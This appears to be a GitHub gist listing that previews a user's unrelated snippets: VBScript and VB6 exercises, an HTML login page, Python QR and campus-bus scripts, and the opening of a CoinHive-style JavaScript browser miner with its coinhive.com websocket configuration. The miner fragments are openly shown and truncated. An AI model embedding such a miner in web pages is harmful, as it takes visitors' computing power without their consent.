This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'******************** | |
'*VBScript Code generated by VisualBlocks | |
'*Date: 2013/5/10 | |
'*Time: 22:54:52 | |
'*Source file: C:\Users\jinzihao\SkyDrive\文档\VisualBlocks\质数.vbd | |
'******************** | |
i=1 | |
1: | |
i=i+1 | |
j=1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim loseCount As Integer | |
Private Sub mnuTest_Click() | |
Dim m As Integer | |
Dim n As Integer | |
loseCount = 0 | |
n = Int(CInt(InputBox("请输入试验次数", "试验次数"))) | |
m = Int(CInt(InputBox("请输入每次试验中游戏次数上限", "游戏次数"))) | |
If (n - 1 >= 0) And (m - 1 >= 0) Then Test n, m Else MsgBox "非法输入" | |
End Sub |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim loseCount As Integer | |
Private Sub mnuTest_Click() | |
Dim m As Integer | |
Dim n As Integer | |
loseCount = 0 | |
n = Int(CInt(InputBox("请输入试验次数", "试验次数"))) | |
m = Int(CInt(InputBox("请输入每次试验中游戏次数上限", "游戏次数"))) | |
If (n - 1 >= 0) And (m - 1 >= 0) Then Test n, m Else MsgBox "非法输入" | |
End Sub |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html lang="zh"> | |
<head> | |
<meta charset="gb2312"> | |
<title>登录 - TagText</title> | |
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
<meta name="description" content=""> | |
<meta name="author" content=""> | |
<!-- Le styles --> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function(window) { | |
"use strict"; | |
var Miner = function(siteKey, params) { | |
this.params = params || {}; | |
this._siteKey = siteKey; | |
this._user = null; | |
this._threads = []; | |
this._hashes = 0; | |
this._currentJob = null; | |
this._autoReconnect = true; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Module = typeof Module !== "undefined" ? Module : {}; | |
self.CoinHive = self.CoinHive || {}; | |
self.CoinHive.CONFIG = { | |
LIB_URL: "https://coinhive.com/lib/", | |
ASMJS_NAME: "worker-asmjs.min.js?v8", | |
REQUIRES_AUTH: false, | |
WEBSOCKET_SHARDS: [ | |
["wss://ws001.coinhive.com/proxy", "wss://ws002.coinhive.com/proxy", "wss://ws003.coinhive.com/proxy", "wss://ws004.coinhive.com/proxy", "wss://ws005.coinhive.com/proxy", "wss://ws006.coinhive.com/proxy", "wss://ws007.coinhive.com/proxy", "wss://ws008.coinhive.com/proxy"], | |
["wss://ws009.coinhive.com/proxy", "wss://ws010.coinhive.com/proxy", "wss://ws011.coinhive.com/proxy", "wss://ws012.coinhive.com/proxy", "wss://ws013.coinhive.com/proxy", "wss://ws014.coinhive.com/proxy", "wss://ws015.coinhive.com/proxy", "wss://ws016.coinhive.com/proxy"], | |
["wss://ws017.coinhive.com/proxy", "wss://ws018.coinhive.com/proxy", "wss://ws019.coinhive.com/proxy", "wss://ws020.coinhive.com/proxy", "wss://ws021.coinhive.com/proxy", "wss://ws022.coinhive.com/p |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import os | |
import sys | |
import json | |
import numpy as np | |
from PIL import Image, ImageDraw | |
from pyzbar.pyzbar import decode | |
top_left_x = 89 | |
top_left_y = 247 | |
bottom_right_x = 663 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import json | |
import time | |
import datetime | |
r = requests.post('https://bus.tsinghua.edu.cn/vehicle/negotiate') | |
connection_id = json.loads(r.text)['connectionId'] | |
r = requests.post('https://bus.tsinghua.edu.cn/vehicle?id=' + connection_id, data='{"protocol":"json","version":1}\x1e') |